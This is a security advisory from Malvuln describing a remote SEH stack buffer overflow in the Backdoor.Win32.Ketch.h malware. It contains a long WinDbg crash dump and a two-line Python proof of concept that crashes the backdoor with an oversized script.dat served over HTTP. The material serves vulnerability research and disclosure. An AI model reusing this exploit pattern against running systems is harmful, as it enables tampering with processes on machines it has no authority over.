Share
## https://sploitus.com/exploit?id=PACKETSTORM:161482
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/63c55ad21e0771c7f9ca71ec3bfcea0f.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Ketch.h  
Vulnerability: Remote Stack Buffer Overflow (SEH)  
Description: Ketch makes HTTP request to port 80 for a file named script.dat, after process the server response of 1,612 bytes or more it triggers an SEH buffer overflow.  
Our exploit pattern "AAAAAAAAA" will get XOR'd with the value 30 and convert it to 71717171 instead of 41414141, so use "q" for exploit pattern 41414141.  
  
This happens because it first gets converted to lowercase and is then XOR'd with value 30. The character "A" becomes "q" 71 so it is difficult to control chars.  
Therefore, if we want to see the typical 41414141 exploit pattern use lowercase "q" character. Then when 71 (q) gets XOR with 30 it will become \x41 (A).  
  
Type: PE32  
MD5: 63c55ad21e0771c7f9ca71ec3bfcea0f  
Vuln ID: MVID-2021-0101  
Dropped files:   
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 02/19/2021   
  
Memory Dump:  
0:000> !exchain  
0019f1c0: ntdll!_except_handler4+0 (77116a50)  
CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (771557ad)  
0019f808: Backdoor_Win32_Ketch_h_63c55ad21e0771c7f9ca71ec3bfcea0f+36370 (00436370)  
0019fe20: 41414141  
Invalid exception stack at 41414141  
  
  
0:000> .ecxr  
eax=00000041 ebx=02961e4c ecx=02964285 edx=001a0000 esi=0000064f edi=02963ca0  
eip=004050f9 esp=0019f7bc ebp=0019f954 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202  
Backdoor_Win32_Ketch_h_63c55ad21e0771c7f9ca71ec3bfcea0f+0x50f9:  
004050f9 8802 mov byte ptr [edx],al ds:002b:001a0000=41  
  
  
0:000> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
  
FAULTING_IP:   
Backdoor_Win32_Ketch_h_63c55ad21e0771c7f9ca71ec3bfcea0f+50f9  
004050f9 8802 mov byte ptr [edx],al  
  
EXCEPTION_RECORD: 0019f30c -- (.exr 0x19f30c)  
ExceptionAddress: 004050f9 (Backdoor_Win32_Ketch_h_63c55ad21e0771c7f9ca71ec3bfcea0f+0x000050f9)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000008  
NumberParameters: 2  
Parameter[0]: 00000001  
Parameter[1]: 001a0000  
Attempt to write to address 001a0000  
  
PROCESS_NAME: Backdoor.Win32.Ketch.h.63c55ad21e0771c7f9ca71ec3bfcea0f.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.  
  
EXCEPTION_PARAMETER1: 00000015  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
CONTEXT: 0019f35c -- (.cxr 0x19f35c)  
eax=00000041 ebx=02961e4c ecx=02964285 edx=001a0000 esi=0000064f edi=02963ca0  
eip=004050f9 esp=0019f7bc ebp=0019f954 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202  
Backdoor_Win32_Ketch_h_63c55ad21e0771c7f9ca71ec3bfcea0f+0x50f9:  
004050f9 8802 mov byte ptr [edx],al ds:002b:001a0000=41  
Resetting default scope  
  
WRITE_ADDRESS: 001a0000   
  
FOLLOWUP_IP:   
Backdoor_Win32_Ketch_h_63c55ad21e0771c7f9ca71ec3bfcea0f+50f9  
004050f9 8802 mov byte ptr [edx],al  
  
FAULTING_THREAD: 00000c80  
  
BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE  
  
PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_EXPLOITABLE  
  
DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE  
  
IP_ON_HEAP: 02962ff0  
The fault address in not in any loaded module, please check your build's rebase  
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may  
contain the address if it were loaded.  
  
FRAME_ONE_INVALID: 1  
  
LAST_CONTROL_TRANSFER: from 02962ff0 to 004050f9  
  
STACK_TEXT:   
WARNING: Stack unwind information not available. Following frames may be wrong.  
0019f954 02962ff0 0019fb28 770e2abf 770e334d Backdoor_Win32_Ketch_h_63c55ad21e0771c7f9ca71ec3bfcea0f+0x50f9  
0019f95c 770e2abf 770e334d 0000064c 0000064f 0x2962ff0  
0019fb28 41414141 41414141 41414141 41414141 ntdll!RtlpAllocateHeap+0xcf  
0019fb3c 41414141 41414141 41414141 41414141 0x41414141  
0019fb40 41414141 41414141 41414141 41414141 0x41414141  
0019fb44 41414141 41414141 41414141 41414141 0x41414141  
0019fb48 41414141 41414141 41414141 41414141 0x41414141  
0019fb4c 41414141 41414141 41414141 41414141 0x41414141  
0019fb50 41414141 41414141 41414141 41414141 0x41414141  
0019fb54 41414141 41414141 41414141 41414141 0x41414141  
0019fb58 41414141 41414141 41414141 41414141 0x41414141  
0019fb5c 41414141 41414141 41414141 41414141 0x41414141  
0019fb60 41414141 41414141 41414141 41414141 0x41414141  
0019fb64 41414141 41414141 41414141 41414141 0x41414141  
0019fb68 41414141 41414141 41414141 41414141 0x41414141  
0019fb6c 41414141 41414141 41414141 41414141 0x41414141  
0019fb70 41414141 41414141 41414141 41414141 0x41414141  
0019fb74 41414141 41414141 41414141 41414141 0x41414141  
0019fb78 41414141 41414141 41414141 41414141 0x41414141  
0019fb7c 41414141 41414141 41414141 41414141 0x41414141  
0019fb80 41414141 41414141 41414141 41414141 0x41414141  
0019fb84 41414141 41414141 41414141 41414141 0x41414141  
0019fb88 41414141 41414141 41414141 41414141 0x41414141  
0019fb8c 41414141 41414141 41414141 41414141 0x41414141  
0019fb90 41414141 41414141 41414141 41414141 0x41414141  
0019fb94 41414141 41414141 41414141 41414141 0x41414141  
0019fb98 41414141 41414141 41414141 41414141 0x41414141  
0019fb9c 41414141 41414141 41414141 41414141 0x41414141  
0019fba0 41414141 41414141 41414141 41414141 0x41414141  
0019fba4 41414141 41414141 41414141 41414141 0x41414141  
0019fba8 41414141 41414141 41414141 41414141 0x41414141  
0019fbac 41414141 41414141 41414141 41414141 0x41414141  
0019fbb0 41414141 41414141 41414141 41414141 0x41414141  
0019fbb4 41414141 41414141 41414141 41414141 0x41414141  
0019fbb8 41414141 41414141 41414141 41414141 0x41414141  
0019fbbc 41414141 41414141 41414141 41414141 0x41414141  
0019fbc0 41414141 41414141 41414141 41414141 0x41414141  
0019fbc4 41414141 41414141 41414141 41414141 0x41414141  
0019fbc8 41414141 41414141 41414141 41414141 0x41414141  
0019fbcc 41414141 41414141 41414141 41414141 0x41414141  
0019fbd0 41414141 41414141 41414141 41414141 0x41414141  
0019fbd4 41414141 41414141 41414141 41414141 0x41414141  
0019fbd8 41414141 41414141 41414141 41414141 0x41414141  
0019fbdc 41414141 41414141 41414141 41414141 0x41414141  
0019fbe0 41414141 41414141 41414141 41414141 0x41414141  
0019fbe4 41414141 41414141 41414141 41414141 0x41414141  
0019fbe8 41414141 41414141 41414141 41414141 0x41414141  
0019fbec 41414141 41414141 41414141 41414141 0x41414141  
0019fbf0 41414141 41414141 41414141 41414141 0x41414141  
0019fbf4 41414141 41414141 41414141 41414141 0x41414141  
0019fbf8 41414141 41414141 41414141 41414141 0x41414141  
0019fbfc 41414141 41414141 41414141 41414141 0x41414141  
0019fc00 41414141 41414141 41414141 41414141 0x41414141  
0019fc04 41414141 41414141 41414141 41414141 0x41414141  
0019fc08 41414141 41414141 41414141 41414141 0x41414141  
0019fc0c 41414141 41414141 41414141 41414141 0x41414141  
0019fc10 41414141 41414141 41414141 41414141 0x41414141  
0019fc14 41414141 41414141 41414141 41414141 0x41414141  
0019fc18 41414141 41414141 41414141 41414141 0x41414141  
0019fc1c 41414141 41414141 41414141 41414141 0x41414141  
0019fc20 41414141 41414141 41414141 41414141 0x41414141  
0019fc24 41414141 41414141 41414141 41414141 0x41414141  
0019fc28 41414141 41414141 41414141 41414141 0x41414141  
0019fc2c 41414141 41414141 41414141 41414141 0x41414141  
0019fc30 41414141 41414141 41414141 41414141 0x41414141  
0019fc34 41414141 41414141 41414141 41414141 0x41414141  
0019fc38 41414141 41414141 41414141 41414141 0x41414141  
0019fc3c 41414141 41414141 41414141 41414141 0x41414141  
0019fc40 41414141 41414141 41414141 41414141 0x41414141  
0019fc44 41414141 41414141 41414141 41414141 0x41414141  
0019fc48 41414141 41414141 41414141 41414141 0x41414141  
0019fc4c 41414141 41414141 41414141 41414141 0x41414141  
0019fc50 41414141 41414141 41414141 41414141 0x41414141  
0019fc54 41414141 41414141 41414141 41414141 0x41414141  
0019fc58 41414141 41414141 41414141 41414141 0x41414141  
0019fc5c 41414141 41414141 41414141 41414141 0x41414141  
0019fc60 41414141 41414141 41414141 41414141 0x41414141  
0019fc64 41414141 41414141 41414141 41414141 0x41414141  
0019fc68 41414141 41414141 41414141 41414141 0x41414141  
0019fc6c 41414141 41414141 41414141 41414141 0x41414141  
0019fc70 41414141 41414141 41414141 41414141 0x41414141  
0019fc74 41414141 41414141 41414141 41414141 0x41414141  
0019fc78 41414141 41414141 41414141 41414141 0x41414141  
0019fc7c 41414141 41414141 41414141 41414141 0x41414141  
0019fc80 41414141 41414141 41414141 41414141 0x41414141  
0019fc84 41414141 41414141 41414141 41414141 0x41414141  
0019fc88 41414141 41414141 41414141 41414141 0x41414141  
0019fc8c 41414141 41414141 41414141 41414141 0x41414141  
0019fc90 41414141 41414141 41414141 41414141 0x41414141  
0019fc94 41414141 41414141 41414141 41414141 0x41414141  
0019fc98 41414141 41414141 41414141 41414141 0x41414141  
0019fc9c 41414141 41414141 41414141 41414141 0x41414141  
0019fca0 41414141 41414141 41414141 41414141 0x41414141  
0019fca4 41414141 41414141 41414141 41414141 0x41414141  
0019fca8 41414141 41414141 41414141 41414141 0x41414141  
0019fcac 41414141 41414141 41414141 41414141 0x41414141  
0019fcb0 41414141 41414141 41414141 41414141 0x41414141  
0019fcb4 41414141 41414141 41414141 41414141 0x41414141  
0019fcb8 41414141 41414141 41414141 41414141 0x41414141  
0019fcbc 41414141 41414141 41414141 41414141 0x41414141  
0019fcc0 41414141 41414141 41414141 41414141 0x41414141  
0019fcc4 41414141 41414141 41414141 41414141 0x41414141  
0019fcc8 41414141 41414141 41414141 41414141 0x41414141  
0019fccc 41414141 41414141 41414141 41414141 0x41414141  
0019fcd0 41414141 41414141 41414141 41414141 0x41414141  
0019fcd4 41414141 41414141 41414141 41414141 0x41414141  
0019fcd8 41414141 41414141 41414141 41414141 0x41414141  
0019fcdc 41414141 41414141 41414141 41414141 0x41414141  
0019fce0 41414141 41414141 41414141 41414141 0x41414141  
0019fce4 41414141 41414141 41414141 41414141 0x41414141  
0019fce8 41414141 41414141 41414141 41414141 0x41414141  
0019fcec 41414141 41414141 41414141 41414141 0x41414141  
0019fcf0 41414141 41414141 41414141 41414141 0x41414141  
0019fcf4 41414141 41414141 41414141 41414141 0x41414141  
0019fcf8 41414141 41414141 41414141 41414141 0x41414141  
0019fcfc 41414141 41414141 41414141 41414141 0x41414141  
0019fd00 41414141 41414141 41414141 41414141 0x41414141  
0019fd04 41414141 41414141 41414141 41414141 0x41414141  
0019fd08 41414141 41414141 41414141 41414141 0x41414141  
0019fd0c 41414141 41414141 41414141 41414141 0x41414141  
0019fd10 41414141 41414141 41414141 41414141 0x41414141  
0019fd14 41414141 41414141 41414141 41414141 0x41414141  
0019fd18 41414141 41414141 41414141 41414141 0x41414141  
0019fd1c 41414141 41414141 41414141 41414141 0x41414141  
0019fd20 41414141 41414141 41414141 41414141 0x41414141  
0019fd24 41414141 41414141 41414141 41414141 0x41414141  
0019fd28 41414141 41414141 41414141 41414141 0x41414141  
0019fd2c 41414141 41414141 41414141 41414141 0x41414141  
0019fd30 41414141 41414141 41414141 41414141 0x41414141  
0019fd34 41414141 41414141 41414141 41414141 0x41414141  
0019fd38 41414141 41414141 41414141 41414141 0x41414141  
0019fd3c 41414141 41414141 41414141 41414141 0x41414141  
0019fd40 41414141 41414141 41414141 41414141 0x41414141  
0019fd44 41414141 41414141 41414141 41414141 0x41414141  
0019fd48 41414141 41414141 41414141 41414141 0x41414141  
0019fd4c 41414141 41414141 41414141 41414141 0x41414141  
0019fd50 41414141 41414141 41414141 41414141 0x41414141  
0019fd54 41414141 41414141 41414141 41414141 0x41414141  
0019fd58 41414141 41414141 41414141 41414141 0x41414141  
0019fd5c 41414141 41414141 41414141 41414141 0x41414141  
0019fd60 41414141 41414141 41414141 41414141 0x41414141  
0019fd64 41414141 41414141 41414141 41414141 0x41414141  
0019fd68 41414141 41414141 41414141 41414141 0x41414141  
0019fd6c 41414141 41414141 41414141 41414141 0x41414141  
0019fd70 41414141 41414141 41414141 41414141 0x41414141  
0019fd74 41414141 41414141 41414141 41414141 0x41414141  
0019fd78 41414141 41414141 41414141 41414141 0x41414141  
0019fd7c 41414141 41414141 41414141 41414141 0x41414141  
0019fd80 41414141 41414141 41414141 41414141 0x41414141  
0019fd84 41414141 41414141 41414141 41414141 0x41414141  
0019fd88 41414141 41414141 41414141 41414141 0x41414141  
0019fd8c 41414141 41414141 41414141 41414141 0x41414141  
0019fd90 41414141 41414141 41414141 41414141 0x41414141  
0019fd94 41414141 41414141 41414141 41414141 0x41414141  
0019fd98 41414141 41414141 41414141 41414141 0x41414141  
0019fd9c 41414141 41414141 41414141 41414141 0x41414141  
0019fda0 41414141 41414141 41414141 41414141 0x41414141  
0019fda4 41414141 41414141 41414141 41414141 0x41414141  
0019fda8 41414141 41414141 41414141 41414141 0x41414141  
0019fdac 41414141 41414141 41414141 41414141 0x41414141  
0019fdb0 41414141 41414141 41414141 41414141 0x41414141  
0019fdb4 41414141 41414141 41414141 41414141 0x41414141  
0019fdb8 41414141 41414141 41414141 41414141 0x41414141  
0019fdbc 41414141 41414141 41414141 41414141 0x41414141  
0019fdc0 41414141 41414141 41414141 41414141 0x41414141  
0019fdc4 41414141 41414141 41414141 41414141 0x41414141  
0019fdc8 41414141 41414141 41414141 41414141 0x41414141  
0019fdcc 41414141 41414141 41414141 41414141 0x41414141  
0019fdd0 41414141 41414141 41414141 41414141 0x41414141  
0019fdd4 41414141 41414141 41414141 41414141 0x41414141  
0019fdd8 41414141 41414141 41414141 41414141 0x41414141  
0019fddc 41414141 41414141 41414141 41414141 0x41414141  
0019fde0 41414141 41414141 41414141 41414141 0x41414141  
0019fde4 41414141 41414141 41414141 41414141 0x41414141  
0019fde8 41414141 41414141 41414141 41414141 0x41414141  
0019fdec 41414141 41414141 41414141 41414141 0x41414141  
0019fdf0 41414141 41414141 41414141 41414141 0x41414141  
0019fdf4 41414141 41414141 41414141 41414141 0x41414141  
0019fdf8 41414141 41414141 41414141 41414141 0x41414141  
0019fdfc 41414141 41414141 41414141 41414141 0x41414141  
0019fe00 41414141 41414141 41414141 41414141 0x41414141  
0019fe04 41414141 41414141 41414141 41414141 0x41414141  
0019fe08 41414141 41414141 41414141 41414141 0x41414141  
0019fe0c 41414141 41414141 41414141 41414141 0x41414141  
0019fe10 41414141 41414141 41414141 41414141 0x41414141  
0019fe14 41414141 41414141 41414141 41414141 0x41414141  
0019fe18 41414141 41414141 41414141 41414141 0x41414141  
0019fe1c 41414141 41414141 41414141 41414141 0x41414141  
0019fe20 41414141 41414141 41414141 41414141 0x41414141  
0019fe24 41414141 41414141 41414141 41414141 0x41414141  
0019fe28 41414141 41414141 41414141 41414141 0x41414141  
0019fe2c 41414141 41414141 41414141 41414141 0x41414141  
0019fe30 41414141 41414141 41414141 41414141 0x41414141  
0019fe34 41414141 41414141 41414141 41414141 0x41414141  
0019fe38 41414141 41414141 41414141 41414141 0x41414141  
0019fe3c 41414141 41414141 41414141 41414141 0x41414141  
0019fe40 41414141 41414141 41414141 41414141 0x41414141  
0019fe44 41414141 41414141 41414141 41414141 0x41414141  
0019fe48 41414141 41414141 41414141 41414141 0x41414141  
0019fe4c 41414141 41414141 41414141 41414141 0x41414141  
0019fe50 41414141 41414141 41414141 41414141 0x41414141  
0019fe54 41414141 41414141 41414141 41414141 0x41414141  
0019fe58 41414141 41414141 41414141 41414141 0x41414141  
0019fe5c 41414141 41414141 41414141 41414141 0x41414141  
0019fe60 41414141 41414141 41414141 41414141 0x41414141  
0019fe64 41414141 41414141 41414141 41414141 0x41414141  
0019fe68 41414141 41414141 41414141 41414141 0x41414141  
0019fe6c 41414141 41414141 41414141 41414141 0x41414141  
0019fe70 41414141 41414141 41414141 41414141 0x41414141  
0019fe74 41414141 41414141 41414141 41414141 0x41414141  
0019fe78 41414141 41414141 41414141 41414141 0x41414141  
0019fe7c 41414141 41414141 41414141 41414141 0x41414141  
0019fe80 41414141 41414141 41414141 41414141 0x41414141  
0019fe84 41414141 41414141 41414141 41414141 0x41414141  
0019fe88 41414141 41414141 41414141 41414141 0x41414141  
0019fe8c 41414141 41414141 41414141 41414141 0x41414141  
0019fe90 41414141 41414141 4141414  
  
SYMBOL_STACK_INDEX: 0  
  
SYMBOL_NAME: Backdoor_Win32_Ketch_h_63c55ad21e0771c7f9ca71ec3bfcea0f+50f9  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: Backdoor_Win32_Ketch_h_63c55ad21e0771c7f9ca71ec3bfcea0f  
  
IMAGE_NAME: Backdoor.Win32.Ketch.h.63c55ad21e0771c7f9ca71ec3bfcea0f.exe  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 0  
  
STACK_COMMAND: .cxr 0x19f35c ; kb  
  
FAILURE_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE_c0000409_Backdoor.Win32.Ketch.h.63c55ad21e0771c7f9ca71ec3bfcea0f.exe!Unknown  
  
BUCKET_ID: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_MISSING_GSFRAME_Backdoor_Win32_Ketch_h_63c55ad21e0771c7f9ca71ec3bfcea0f+50f9  
  
  
Exploit/PoC:  
python -c "print 'q'*1612" > script.dat  
python -m SimpleHTTPServer 80  
  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).